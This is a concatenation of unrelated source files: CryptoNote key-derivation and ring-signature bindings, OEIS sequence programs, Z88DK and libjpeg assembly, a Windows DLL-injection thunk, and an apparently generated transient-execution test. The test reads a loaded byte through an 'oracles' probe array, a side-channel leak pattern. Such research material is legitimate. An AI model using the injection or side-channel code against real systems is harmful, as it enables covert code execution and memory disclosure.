std::string generateKeyDerivation(const std::string publicKey, const std::string secretKey)
{
std::string derivation;
bool success = Core::Cryptography::generateKeyDerivation(publicKey, secretKey, derivation);
return derivation;
}
std::string generateKeyDerivationScalar(const std::string publicKey, const std::string secretKey, size_t outputIndex)
{
return Core::Cryptography::generateKeyDerivationScalar(publicKey, secretKey, outputIndex);
}
std::string derivationToScalar(const std::string derivation, size_t outputIndex)
{
return Core::Cryptography::derivationToScalar(derivation, outputIndex);
}
std::string derivePublicKey(const std::string derivation, const size_t outputIndex, const std::string publicKey)
{
std::string derivedKey;
bool success = Core::Cryptography::derivePublicKey(derivation, outputIndex, publicKey, derivedKey);
return derivedKey;
}
std::string scalarDerivePublicKey(const std::string derivationScalar, const std::string publicKey)
{
std::string derivedKey;
bool success = Core::Cryptography::derivePublicKey(derivationScalar, publicKey, derivedKey);
return derivedKey;
}
std::string deriveSecretKey(const std::string derivation, const size_t outputIndex, const std::string secretKey)
{
return Core::Cryptography::deriveSecretKey(derivation, outputIndex, secretKey);
}
std::string scalarDeriveSecretKey(const std::string derivationScalar, const std::string secretKey)
{
return Core::Cryptography::deriveSecretKey(derivationScalar, secretKey);
}
std::string underivePublicKey(const std::string derivation, const size_t outputIndex, const std::string derivedKey)
{
std::string publicKey;
bool success = Core::Cryptography::underivePublicKey(derivation, outputIndex, derivedKey, publicKey);
return publicKey;
}
std::vector<std::string> completeRingSignatures(
const std::string transactionSecretKey,
const int realOutputIndex,
const std::string k,
const std::vector<std::string> signatures)
{
std::vector<std::string> completeSignatures;
for (auto sig : signatures)
{
completeSignatures.push_back(sig);
}
bool success =
Core::Cryptography::completeRingSignatures(transactionSecretKey, realOutputIndex, k, completeSignatures);
return completeSignatures;
}
std::vector<std::string> restoreRingSignatures(
const std::string derivation,
const size_t output_index,
const std::vector<std::string> partialSigningKeys,
const int realOutput,
const std::string k,
const std::vector<std::string> signatures)
{
std::vector<std::string> completeSignatures;
for (auto sig : signatures)
{
completeSignatures.push_back(sig);
}
bool success = Core::Cryptography::restoreRingSignatures(
derivation, output_index, partialSigningKeys, realOutput, k, completeSignatures);
return completeSignatures;
}
EMSCRIPTEN_BINDINGS(signatures)
{
function("cn_fast_hash", &Core::Cryptography::cn_fast_hash);
function("cn_slow_hash_v0", &Core::Cryptography::cn_slow_hash_v0);
function("cn_slow_hash_v1", &Core::Cryptography::cn_slow_hash_v1);
function("cn_slow_hash_v2", &Core::Cryptography::cn_slow_hash_v2);
function("cn_lite_slow_hash_v0", &Core::Cryptography::cn_lite_slow_hash_v0);
function("cn_lite_slow_hash_v1", &Core::Cryptography::cn_lite_slow_hash_v1);
function("cn_lite_slow_hash_v2", &Core::Cryptography::cn_lite_slow_hash_v2);
function("cn_dark_slow_hash_v0", &Core::Cryptography::cn_dark_slow_hash_v0);
function("cn_dark_slow_hash_v1", &Core::Cryptography::cn_dark_slow_hash_v1);
function("cn_dark_slow_hash_v2", &Core::Cryptography::cn_dark_slow_hash_v2);
function("cn_dark_lite_slow_hash_v0", &Core::Cryptography::cn_dark_lite_slow_hash_v0);
function("cn_dark_lite_slow_hash_v1", &Core::Cryptography::cn_dark_lite_slow_hash_v1);
function("cn_dark_lite_slow_hash_v2", &Core::Cryptography::cn_dark_lite_slow_hash_v2);
function("cn_turtle_slow_hash_v0", &Core::Cryptography::cn_turtle_slow_hash_v0);
function("cn_turtle_slow_hash_v1", &Core::Cryptography::cn_turtle_slow_hash_v1);
function("cn_turtle_slow_hash_v2", &Core::Cryptography::cn_turtle_slow_hash_v2);
function("cn_turtle_lite_slow_hash_v0", &Core::Cryptography::cn_turtle_lite_slow_hash_v0);
function("cn_turtle_lite_slow_hash_v1", &Core::Cryptography::cn_turtle_lite_slow_hash_v1);
function("cn_turtle_lite_slow_hash_v2", &Core::Cryptography::cn_turtle_lite_slow_hash_v2);
function("cn_soft_shell_slow_hash_v0", &cn_soft_shell_slow_hash_v0);
function("cn_soft_shell_slow_hash_v1", &cn_soft_shell_slow_hash_v1);
function("cn_soft_shell_slow_hash_v2", &cn_soft_shell_slow_hash_v2);
function("chukwa_slow_hash_base", &Core::Cryptography::chukwa_slow_hash_base);
function("chukwa_slow_hash_v1", &Core::Cryptography::chukwa_slow_hash_v1);
function("chukwa_slow_hash_v2", &Core::Cryptography::chukwa_slow_hash_v2);
function("tree_depth", &Core::Cryptography::tree_depth);
function("tree_hash", &Core::Cryptography::tree_hash);
function("tree_branch", &Core::Cryptography::tree_branch);
function("tree_hash_from_branch", &Core::Cryptography::tree_hash_from_branch);
function("generateRingSignatures", &generateRingSignatures);
function("prepareRingSignatures", &prepareRingSignatures);
function("prepareRingSignaturesK", &prepareRingSignaturesK);
function("completeRingSignatures", &completeRingSignatures);
function("checkRingSignature", &Core::Cryptography::checkRingSignature);
function(
"generatePrivateViewKeyFromPrivateSpendKey", &Core::Cryptography::generatePrivateViewKeyFromPrivateSpendKey);
function("generateViewKeysFromPrivateSpendKey", &generateViewKeysFromPrivateSpendKey);
function("generateKeys", &generateKeys);
function("generateDeterministicSubwalletKeys", &generateDeterministicSubwalletKeys);
function("checkKey", &Core::Cryptography::checkKey);
function("secretKeyToPublicKey", &secretKeyToPublicKey);
function("generateKeyDerivation", &generateKeyDerivation);
function("generateKeyDerivationScalar", &generateKeyDerivationScalar);
function("derivationToScalar", &derivationToScalar);
function("derivePublicKey", &derivePublicKey);
function("deriveSecretKey", &deriveSecretKey);
function("scalarDerivePublicKey", &scalarDerivePublicKey);
function("scalarDeriveSecretKey", &scalarDeriveSecretKey);
function("underivePublicKey", &underivePublicKey);
function("generateSignature", &Core::Cryptography::generateSignature);
function("checkSignature", &Core::Cryptography::checkSignature);
function("generateKeyImage", &Core::Cryptography::generateKeyImage);
function("scalarmultKey", &Core::Cryptography::scalarmultKey);
function("hashToEllipticCurve", &Core::Cryptography::hashToEllipticCurve);
function("scReduce32", &Core::Cryptography::scReduce32);
function("hashToScalar", &Core::Cryptography::hashToScalar);
/* Multisig Methods */
function("calculateMultisigPrivateKeys", &Core::Cryptography::calculateMultisigPrivateKeys);
function("calculateSharedPrivateKey", &Core::Cryptography::calculateSharedPrivateKey);
function("calculateSharedPublicKey", &Core::Cryptography::calculateSharedPublicKey);
function("generatePartialSigningKey", &Core::Cryptography::generatePartialSigningKey);
function("restoreKeyImage", &Core::Cryptography::restoreKeyImage);
function("restoreRingSignatures", &restoreRingSignatures);
register_vector<std::string>("VectorString");
value_object<Keys>("Keys").field("secretKey", &Keys::secretKey).field("publicKey", &Keys::publicKey);
value_object<PreparedSignatures>("Keys")
.field("signatures", &PreparedSignatures::signatures)
.field("key", &PreparedSignatures::key);
}
|
; A146302: a(n) = (8*n+5)*(8*n+9).
; 45,221,525,957,1517,2205,3021,3965,5037,6237,7565,9021,10605,12317,14157,16125,18221,20445,22797,25277,27885,30621,33485,36477,39597,42845,46221,49725,53357,57117,61005,65021,69165,73437,77837,82365
mul $0,8
add $0,7
pow $0,2
sub $0,4
|
; Z88 Small C+ Run Time Library
; Long functions
;
SECTION code_crt0_sccz80
PUBLIC l_putptr
.l_putptr
ld a,l
ld (bc),a
inc bc
ld a,h
ld (bc),a
inc bc
ld a,e
ld (bc),a
ret
|
;
; Enterprise 64/128 C Library
;
; getkey() Wait for keypress
;
; Stefano Bodrato - 2011
;
;
; $Id: fgetc_cons.asm,v 1.4 2016-06-12 17:07:43 dom Exp $
;
SECTION code_clib
PUBLIC fgetc_cons
PUBLIC _fgetc_cons
.fgetc_cons
._fgetc_cons
ld a,69h ; keyboard channel
rst $30 ; EXOS
defb 5 ; output to channel
IF STANDARDESCAPECHARS
ld a,13
cp b
jr nz,not_return
ld b,10
.not_return
ENDIF
ld h,0
ld l,b
ret
|
; A301727: Partial sums of A301726.
; 1,6,17,33,54,81,114,152,195,244,298,357,422,492,567,648,735,827,924,1027,1135,1248,1367,1491,1620,1755,1896,2042,2193,2350,2512,2679,2852,3030,3213,3402,3597,3797,4002,4213,4429,4650,4877,5109,5346,5589,5838,6092,6351,6616,6886,7161,7442,7728,8019,8316,8619,8927
mov $10,$0
mov $12,$0
add $12,1
lpb $12
clr $0,10
mov $0,$10
sub $12,1
sub $0,$12
mov $7,$0
mov $9,$0
add $9,1
lpb $9
mov $0,$7
sub $9,1
sub $0,$9
mul $0,3
lpb $0
mov $2,$0
mov $3,$0
sub $3,$5
sub $0,$3
add $0,$1
div $0,20
add $2,5
mod $2,10
mov $1,$2
mul $1,3
add $1,3
mov $3,3
sub $3,$0
add $3,2
mov $0,$3
mov $5,6
lpe
mov $1,$0
add $1,1
add $8,$1
lpe
add $11,$8
lpe
mov $1,$11
|
; A289150: Binary representation of the diagonal from the corner to the origin of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 597", based on the 5-celled von Neumann neighborhood.
; Submitted by Jon Maiga
; 1,10,110,1101,11101,111010,1111010,11110101,111110101,1111101010,11111101010,111111010101,1111111010101,11111110101010,111111110101010,1111111101010101,11111111101010101,111111111010101010,1111111111010101010,11111111110101010101,111111111110101010101,1111111111101010101010,11111111111101010101010,111111111111010101010101,1111111111111010101010101,11111111111110101010101010,111111111111110101010101010,1111111111111101010101010101,11111111111111101010101010101,111111111111111010101010101010
seq $0,289764 ; Decimal representation of the diagonal from the corner to the origin of the n-th stage of growth of the two-dimensional cellular automaton defined by "Rule 597", based on the 5-celled von Neumann neighborhood.
seq $0,7088 ; The binary numbers (or binary words, or binary vectors, or binary expansion of n): numbers written in base 2.
|
; A078007: Expansion of (1-x)/(1-x-2*x^2-x^3).
; Submitted by Jon Maiga
; 1,0,2,3,7,15,32,69,148,318,683,1467,3151,6768,14537,31224,67066,144051,309407,664575,1427440,3065997,6585452,14144886,30381787,65257011,140165471,301061280,646649233,1388937264,2983297010,6407820771,13763352055,29562290607,63496815488,136384748757,292940670340,629206983342,1351473072779,2902827709803,6234980838703,13392109331088,28764898718297,61784098219176,132706004986858,285039100143507,612235208336399,1315019413610271,2824528930426576,6066802965983517,13030880240446940,27989015102840550
mov $2,1
lpb $0
sub $0,1
add $1,$3
mov $4,$2
mov $2,$5
add $2,$1
mov $1,$5
add $5,$4
mov $3,$5
lpe
mov $0,$2
|
;
; jquant.asm - sample data conversion and quantization (SSE & MMX)
;
; Copyright 2009 Pierre Ossman <ossman@cendio.se> for Cendio AB
;
; Based on
; x86 SIMD extension for IJG JPEG library
; Copyright (C) 1999-2006, MIYASAKA Masaru.
; For conditions of distribution and use, see copyright notice in jsimdext.inc
;
; This file should be assembled with NASM (Netwide Assembler),
; can *not* be assembled with Microsoft's MASM or any compatible
; assembler (including Borland's Turbo Assembler).
; NASM is available from http://nasm.sourceforge.net/ or
; http://sourceforge.net/project/showfiles.php?group_id=6208
;
; [TAB8]
%include "jsimdext.inc"
%include "jdct.inc"
; --------------------------------------------------------------------------
SECTION SEG_TEXT
BITS 32
;
; Load data into workspace, applying unsigned->signed conversion
;
; GLOBAL(void)
; jsimd_convsamp_float_sse (JSAMPARRAY sample_data, JDIMENSION start_col,
; FAST_FLOAT *workspace);
;
%define sample_data ebp+8 ; JSAMPARRAY sample_data
%define start_col ebp+12 ; JDIMENSION start_col
%define workspace ebp+16 ; FAST_FLOAT *workspace
align 16
global EXTN(jsimd_convsamp_float_sse)
EXTN(jsimd_convsamp_float_sse):
push ebp
mov ebp,esp
push ebx
; push ecx ; need not be preserved
; push edx ; need not be preserved
push esi
push edi
pcmpeqw mm7,mm7
psllw mm7,7
packsswb mm7,mm7 ; mm7 = PB_CENTERJSAMPLE (0x808080..)
mov esi, JSAMPARRAY [sample_data] ; (JSAMPROW *)
mov eax, JDIMENSION [start_col]
mov edi, POINTER [workspace] ; (DCTELEM *)
mov ecx, DCTSIZE/2
alignx 16,7
.convloop:
mov ebx, JSAMPROW [esi+0*SIZEOF_JSAMPROW] ; (JSAMPLE *)
mov edx, JSAMPROW [esi+1*SIZEOF_JSAMPROW] ; (JSAMPLE *)
movq mm0, MMWORD [ebx+eax*SIZEOF_JSAMPLE]
movq mm1, MMWORD [edx+eax*SIZEOF_JSAMPLE]
psubb mm0,mm7 ; mm0=(01234567)
psubb mm1,mm7 ; mm1=(89ABCDEF)
punpcklbw mm2,mm0 ; mm2=(*0*1*2*3)
punpckhbw mm0,mm0 ; mm0=(*4*5*6*7)
punpcklbw mm3,mm1 ; mm3=(*8*9*A*B)
punpckhbw mm1,mm1 ; mm1=(*C*D*E*F)
punpcklwd mm4,mm2 ; mm4=(***0***1)
punpckhwd mm2,mm2 ; mm2=(***2***3)
punpcklwd mm5,mm0 ; mm5=(***4***5)
punpckhwd mm0,mm0 ; mm0=(***6***7)
psrad mm4,(DWORD_BIT-BYTE_BIT) ; mm4=(01)
psrad mm2,(DWORD_BIT-BYTE_BIT) ; mm2=(23)
cvtpi2ps xmm0,mm4 ; xmm0=(01**)
cvtpi2ps xmm1,mm2 ; xmm1=(23**)
psrad mm5,(DWORD_BIT-BYTE_BIT) ; mm5=(45)
psrad mm0,(DWORD_BIT-BYTE_BIT) ; mm0=(67)
cvtpi2ps xmm2,mm5 ; xmm2=(45**)
cvtpi2ps xmm3,mm0 ; xmm3=(67**)
punpcklwd mm6,mm3 ; mm6=(***8***9)
punpckhwd mm3,mm3 ; mm3=(***A***B)
punpcklwd mm4,mm1 ; mm4=(***C***D)
punpckhwd mm1,mm1 ; mm1=(***E***F)
psrad mm6,(DWORD_BIT-BYTE_BIT) ; mm6=(89)
psrad mm3,(DWORD_BIT-BYTE_BIT) ; mm3=(AB)
cvtpi2ps xmm4,mm6 ; xmm4=(89**)
cvtpi2ps xmm5,mm3 ; xmm5=(AB**)
psrad mm4,(DWORD_BIT-BYTE_BIT) ; mm4=(CD)
psrad mm1,(DWORD_BIT-BYTE_BIT) ; mm1=(EF)
cvtpi2ps xmm6,mm4 ; xmm6=(CD**)
cvtpi2ps xmm7,mm1 ; xmm7=(EF**)
movlhps xmm0,xmm1 ; xmm0=(0123)
movlhps xmm2,xmm3 ; xmm2=(4567)
movlhps xmm4,xmm5 ; xmm4=(89AB)
movlhps xmm6,xmm7 ; xmm6=(CDEF)
movaps XMMWORD [XMMBLOCK(0,0,edi,SIZEOF_FAST_FLOAT)], xmm0
movaps XMMWORD [XMMBLOCK(0,1,edi,SIZEOF_FAST_FLOAT)], xmm2
movaps XMMWORD [XMMBLOCK(1,0,edi,SIZEOF_FAST_FLOAT)], xmm4
movaps XMMWORD [XMMBLOCK(1,1,edi,SIZEOF_FAST_FLOAT)], xmm6
add esi, byte 2*SIZEOF_JSAMPROW
add edi, byte 2*DCTSIZE*SIZEOF_FAST_FLOAT
dec ecx
jnz near .convloop
emms ; empty MMX state
pop edi
pop esi
; pop edx ; need not be preserved
; pop ecx ; need not be preserved
pop ebx
pop ebp
ret
; --------------------------------------------------------------------------
;
; Quantize/descale the coefficients, and store into coef_block
;
; GLOBAL(void)
; jsimd_quantize_float_sse (JCOEFPTR coef_block, FAST_FLOAT *divisors,
; FAST_FLOAT *workspace);
;
%define coef_block ebp+8 ; JCOEFPTR coef_block
%define divisors ebp+12 ; FAST_FLOAT *divisors
%define workspace ebp+16 ; FAST_FLOAT *workspace
align 16
global EXTN(jsimd_quantize_float_sse)
EXTN(jsimd_quantize_float_sse):
push ebp
mov ebp,esp
; push ebx ; unused
; push ecx ; unused
; push edx ; need not be preserved
push esi
push edi
mov esi, POINTER [workspace]
mov edx, POINTER [divisors]
mov edi, JCOEFPTR [coef_block]
mov eax, DCTSIZE2/16
alignx 16,7
.quantloop:
movaps xmm0, XMMWORD [XMMBLOCK(0,0,esi,SIZEOF_FAST_FLOAT)]
movaps xmm1, XMMWORD [XMMBLOCK(0,1,esi,SIZEOF_FAST_FLOAT)]
mulps xmm0, XMMWORD [XMMBLOCK(0,0,edx,SIZEOF_FAST_FLOAT)]
mulps xmm1, XMMWORD [XMMBLOCK(0,1,edx,SIZEOF_FAST_FLOAT)]
movaps xmm2, XMMWORD [XMMBLOCK(1,0,esi,SIZEOF_FAST_FLOAT)]
movaps xmm3, XMMWORD [XMMBLOCK(1,1,esi,SIZEOF_FAST_FLOAT)]
mulps xmm2, XMMWORD [XMMBLOCK(1,0,edx,SIZEOF_FAST_FLOAT)]
mulps xmm3, XMMWORD [XMMBLOCK(1,1,edx,SIZEOF_FAST_FLOAT)]
movhlps xmm4,xmm0
movhlps xmm5,xmm1
cvtps2pi mm0,xmm0
cvtps2pi mm1,xmm1
cvtps2pi mm4,xmm4
cvtps2pi mm5,xmm5
movhlps xmm6,xmm2
movhlps xmm7,xmm3
cvtps2pi mm2,xmm2
cvtps2pi mm3,xmm3
cvtps2pi mm6,xmm6
cvtps2pi mm7,xmm7
packssdw mm0,mm4
packssdw mm1,mm5
packssdw mm2,mm6
packssdw mm3,mm7
movq MMWORD [MMBLOCK(0,0,edi,SIZEOF_JCOEF)], mm0
movq MMWORD [MMBLOCK(0,1,edi,SIZEOF_JCOEF)], mm1
movq MMWORD [MMBLOCK(1,0,edi,SIZEOF_JCOEF)], mm2
movq MMWORD [MMBLOCK(1,1,edi,SIZEOF_JCOEF)], mm3
add esi, byte 16*SIZEOF_FAST_FLOAT
add edx, byte 16*SIZEOF_FAST_FLOAT
add edi, byte 16*SIZEOF_JCOEF
dec eax
jnz short .quantloop
emms ; empty MMX state
pop edi
pop esi
; pop edx ; need not be preserved
; pop ecx ; unused
; pop ebx ; unused
pop ebp
ret
; For some reason, the OS X linker does not honor the request to align the
; segment unless we do this.
align 16
|
;
; Sharp OZ family functions
;
; ported from the OZ-7xx SDK by by Alexander R. Pruss
; by Stefano Bodrato - Oct. 2003
;
;
; gfx functions
;
; Font Pointers
;
; ------
; $Id: ozfontpointers.asm,v 1.3 2016-06-28 14:48:17 dom Exp $
;
SECTION code_clib
PUBLIC ozfontpointers
PUBLIC _ozfontpointers
PUBLIC LowerFontPage1
PUBLIC LowerFontPage2
PUBLIC HigherFontPage1
PUBLIC HigherFontPage2
ozfontpointers:
_ozfontpointers:
defw Font0
defw Font1
defw Font2
defw Font3
defw Font1
defw Font1
defw Font1
defw Font1
Font0: ;; PC_LARGE
LowerFontPage2:
defb 0eh
defb 0
defw 0ab10h
defw 0ab10h+310h
defb 13
defb 0ffh
Font1: ;; PC_PLANE:
LowerFontPage1:
defb 0eh
defb 0
defw 0a000h
defw 0a000h+310h
defb 8
defb 0ffh
Font2: ;; EO7LARGE
HigherFontPage2:
defb 0fh
defb 0
defw 0ab10h
defw 0ab10h+310h
defb 13
defb 0ffh
Font3: ;; EO7PLANE:
HigherFontPage1:
defb 0fh
defb 0
defw 0a000h
defw 0a000h+310h
defb 8
defb 0ffh
|
title "Injection Thunk Assembly Routine"
;++
;
; Copyright (c) 2017 Trent Nelson <trent@trent.me>
;
; Module Name:
;
; InjectionThunk5.asm
;
; Abstract:
;
; This module implements the injection thunk routine as a NESTED_ENTRY with
; a slightly approach to the prologue versus InjectionThunk4.asm.
;
;--
include ksamd64.inc
;
; Define a home parameter + return address structure.
;
Home struct
CalleeParam1 dq ? ; 8 24 32 (20h)
CalleeParam2 dq ? ; 8 16 24 (18h)
CalleeParam3 dq ? ; 8 8 16 (10h)
CalleeParam4 dq ? ; 8 0 8 (08h)
Padding dq ?
SavedR12 dq ?
ReturnAddress dq ? ; 8 32 40 (28h) <- rsp
union
Thunk dq ? ; 8 24 32 (20h)
SavedRcx dq ? ; 8 24 32 (20h)
Param1 dq ? ; 8 24 32 (20h)
ends
union
Param2 dq ? ; 8 16 24 (18h)
ends
union
SavedR8 dq ? ; 8 8 16 (10h)
Param3 dq ? ; 8 8 16 (10h)
ends
union
SavedR9 dq ? ; 8 0 8 (08h)
Param4 dq ? ; 8 0 8 (08h)
ends
Home ends
;
; Define the RTL_INJECTION_THUNK_CONTEXT structure.
;
AddRuntimeFunction equ 1
Thunk struct
Flags dd ?
EntryCount dd ?
FunctionTable dq ?
BaseAddress dq ?
RtlAddFunctionTable dq ?
ContextAddress dq ?
BasePointer dq ?
StackPointer dq ?
ReturnAddress dq ?
ExitThread dq ?
LoadLibraryW dq ?
GetProcAddress dq ?
ModulePath dq ?
ModuleHandle dq ?
FunctionName dq ?
FunctionAddress dq ?
Thunk ends
;
; Define error codes.
;
RtlAddFunctionTableFailed equ -1
LoadLibraryWFailed equ -2
GetProcAddressFailed equ -3
;++
;
; LONG
; InjectionThunk5(
; _In_ PRTL_INJECTION_THUNK_CONTEXT Thunk
; );
;
; Routine Description:
;
; This routine is the initial entry point of our injection logic. That is,
; newly created remoted threads in a target process have their start address
; set to a copy of this routine (that was prepared in a separate process and
; then injected via WriteProcessMemory()).
;
; It is responsible for registering a runtime function for itself, such that
; appropriate unwind data can be found by the kernel if an exception occurs
; and the stack is being unwound. It then loads a library designated by the
; fully qualified path in the thunk's module path field via LoadLibraryW,
; then calls GetProcAddress on the returned module for the function name also
; contained within the thunk. If an address is successfully resolved, the
; routine is called with the thunk back as the first parameter, and the return
; value is propagated back to our caller (typically, this will be the routine
; kernel32!UserBaseInitThunk).
;
; In practice, the module path we attempt to load is InjectionThunk.dll, and
; the function name we resolve is "InjectionRemoteThreadEntry". This routine
; is responsible for doing more heavy lifting in C prior to calling the actual
; caller's end routine.
;
; Arguments:
;
; Thunk (rcx) - Supplies a pointer to the injection context thunk.
;
; Return Value:
;
; If an error occured in this routine, an error code (see above) will be
; returned (ranging in value from -1 to -3). If this routine succeeded,
; the return value of the function we were requested to execute will be
; returned instead. (Unfortunately, there's no guarantee that this won't
; overlap with our error codes.)
;
; This return value will end up as the exit code for the thread if being
; called in the injection context.
;
;--
NESTED_ENTRY InjectionThunk5, _TEXT$00
rex_push_reg r12
alloc_stack 28h
END_PROLOGUE
;
; Home our Thunk parameter register, then save in r12. The homing of rcx isn't
; technically necessary (as we never re-load it from rcx), but it doesn't hurt,
; and it is useful during development and debugging to help detect anomalies
; (if we clobber r12 accidentally, for example).
;
mov Home.Thunk[rsp], rcx ; Home Thunk (rcx) parameter.
mov r12, rcx ; Move Thunk into r12.
;
; Determine if we need to register a runtime function entry for this thunk.
;
mov r8d, Thunk.Flags ; Load flags into r8d.
test r8d, AddRuntimeFunction ; Is flag set?
jz Inj20 ; No, jump to main logic.
;
; Register a runtime function for this currently executing piece of code. This
; is done when we've been copied into memory at runtime.
;
mov rcx, Thunk.FunctionTable[r12] ; Load FunctionTable.
xor rdx, rdx ; Clear rdx.
mov edx, dword ptr Thunk.EntryCount[r12] ; Load EntryCount.
mov r8, Thunk.BaseAddress[r12] ; Load BaseAddress.
call Thunk.RtlAddFunctionTable[r12] ; Invoke function.
test rax, rax ; Check result.
jz short @F ; Function failed.
jmp short Inj20 ; Function succeeded.
@@: mov rax, RtlAddFunctionTableFailed ; Load error code.
jmp short Inj90 ; Jump to epilogue.
;
; Prepare for a LoadLibraryW() call against the module path in the thunk.
;
Inj20: mov rcx, Thunk.ModulePath[r12] ; Load ModulePath.
call Thunk.LoadLibraryW[r12] ; Call LoadLibraryW().
test rax, rax ; Check Handle != NULL.
jz short @F ; Handle is NULL.
jmp short Inj40 ; Handle is valid.
@@: mov rax, LoadLibraryWFailed ; Load error code.
jmp short Inj90 ; Jump to epilogue.
;
; Module was loaded successfully. The Handle value lives in rax. Save a copy
; in the thunk, then prepare arguments for a call to GetProcAddress().
;
Inj40: mov Thunk.ModuleHandle[r12], rax ; Save Handle.
mov rcx, rax ; Load as 1st param.
mov rdx, Thunk.FunctionName[r12] ; Load name as 2nd.
call Thunk.GetProcAddress[r12] ; Call GetProcAddress.
test rax, rax ; Check return value.
jz short @F ; Lookup failed.
jmp short Inj60 ; Lookup succeeded.
@@: mov rax, GetProcAddressFailed ; Load error code.
jmp short Inj90 ; Jump to return.
;
; The function name was resolved successfully. The function address lives in
; rax. Save a copy in the thunk, and then prepare arguments for a call to it.
;
Inj60: mov Thunk.FunctionAddress[r12], rax ; Save func ptr.
mov rcx, r12 ; Load thunk into rcx.
call rax ; Call the function.
;
; Intentional follow-on to Inj90 to exit the function; rax will be returned back
; to the caller.
;
Inj90:
add rsp, 28h ; Restore home space.
pop r12
ret
NESTED_END InjectionThunk5, _TEXT$00
; vim:set tw=80 ts=8 sw=4 sts=4 et syntax=masm fo=croql comments=:; :
end
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xb249, %rsi
lea addresses_D_ht+0x1781d, %rdi
and %rbx, %rbx
mov $9, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $44868, %r8
lea addresses_UC_ht+0x14832, %rsi
lea addresses_D_ht+0xfc1d, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
inc %r12
mov $62, %rcx
rep movsq
cmp %r8, %r8
lea addresses_A_ht+0x569d, %rcx
xor $61615, %r8
movl $0x61626364, (%rcx)
nop
nop
sub $48667, %rdi
lea addresses_UC_ht+0x7ea5, %rcx
nop
nop
add $29486, %r13
mov $0x6162636465666768, %r8
movq %r8, %xmm0
movups %xmm0, (%rcx)
nop
nop
nop
nop
and $35836, %r13
lea addresses_normal_ht+0xac1d, %r12
nop
nop
nop
nop
nop
cmp $60578, %rsi
mov (%r12), %ebx
nop
nop
nop
nop
nop
and %rbx, %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WC+0x1c81d, %rdx
clflush (%rdx)
nop
nop
nop
nop
sub %r8, %r8
mov $0x5152535455565758, %rbx
movq %rbx, %xmm5
vmovups %ymm5, (%rdx)
nop
nop
nop
nop
nop
sub %rdi, %rdi
// Store
lea addresses_A+0x1225d, %rdi
nop
nop
xor $10760, %r8
mov $0x5152535455565758, %r10
movq %r10, (%rdi)
xor %r10, %r10
// Store
lea addresses_D+0x167e5, %rbx
nop
cmp %rdx, %rdx
movl $0x51525354, (%rbx)
nop
nop
nop
nop
nop
dec %rbx
// REPMOV
lea addresses_PSE+0x165a7, %rsi
lea addresses_UC+0x15603, %rdi
nop
nop
inc %rdx
mov $126, %rcx
rep movsb
nop
nop
xor $15785, %r12
// Store
lea addresses_D+0x5a1d, %rcx
nop
nop
nop
nop
inc %r12
mov $0x5152535455565758, %r10
movq %r10, %xmm3
vmovups %ymm3, (%rcx)
nop
nop
inc %r12
// Store
lea addresses_D+0x4fd5, %r10
nop
nop
sub %rsi, %rsi
mov $0x5152535455565758, %rdx
movq %rdx, %xmm0
movups %xmm0, (%r10)
nop
nop
nop
add %r8, %r8
// Store
lea addresses_A+0xdd1d, %rdi
dec %rbx
mov $0x5152535455565758, %rcx
movq %rcx, %xmm3
vmovaps %ymm3, (%rdi)
nop
inc %rsi
// Faulty Load
lea addresses_US+0x1c41d, %rdi
nop
nop
nop
cmp $19661, %rcx
movntdqa (%rdi), %xmm0
vpextrq $0, %xmm0, %rdx
lea oracles, %r8
and $0xff, %rdx
shlq $12, %rdx
mov (%r8,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_US', 'AVXalign': True, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 1}}
{'src': {'type': 'addresses_PSE', 'congruent': 1, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 32, 'NT': False, 'same': False, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'size': 16, 'NT': False, 'same': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 8}}
[Faulty Load]
{'src': {'type': 'addresses_US', 'AVXalign': False, 'size': 16, 'NT': True, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': True}}
{'src': {'type': 'addresses_UC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 7}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16, 'NT': False, 'same': True, 'congruent': 2}}
{'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 11}, 'OP': 'LOAD'}
{'00': 14712}
